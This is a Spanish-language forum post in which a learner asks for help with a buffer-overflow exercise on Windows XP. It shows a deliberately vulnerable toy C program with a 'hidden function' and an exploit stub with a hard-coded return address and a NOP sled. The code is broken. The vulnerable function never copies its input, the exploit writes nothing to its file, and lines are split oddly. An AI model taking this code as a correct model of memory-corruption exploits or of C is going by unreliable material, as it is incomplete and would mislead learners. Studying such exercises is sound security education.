Me gustaría me pudieran ayudar con el Exploit para el BufferOverflow,
el codigo lo copie de una publicacion de
Ikary.-
El problema ocurre en el retorno... Accedo a la funcion oculta...
Sin embargo luego sale la tipica ventanita de No Enviar...
Testeado en WindXP SP3, con Dev-c++.-
A continuación el programa Vulnerable a BoF:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int LeerFichero( char *, char *, int );
int FuncionVulnerable( char * );
int FuncionOculta();
main()
{
char buffer[1000];
char nombre[] = "archivo.txt";
LeerFichero( buffer, nombre, 1000 );
FuncionVulnerable( buffer );
return 0;
}
int LeerFichero( char *Fbuffer, char *Fnombre, int Limite ){
int c, n=0;
FILE *f;
f
= fopen( Fnombre
, "r" ); while( ( c
= getc(f
) ) != EOF
){ if( n<Limite )
Fbuffer[n++] = c;
}
Fbuffer[n++] = 0;
return 0;
}
int FuncionVulnerable( char *cptr ){
char buff[10] = "Datos";
return 0;
}
int FuncionOculta( )
{
printf( " Descubriste la Funcion Oculta!" ); return 0;
}
Y este es el exploit, programado en C, es una variación del source de
Ikary, que lo hizo en C++:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
main()
{
char ret[] = "\xEC\x13\x40\x00";
char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
FILE *arch;
arch
= fopen( "archivo.txt", "w" );
printf( "\n\nExploit Listaylor\n" ); return 0;
}
Si alguien me pudiera dar la teoria de que ocurre para intentar programarlo, lo agradecería muchísimo =]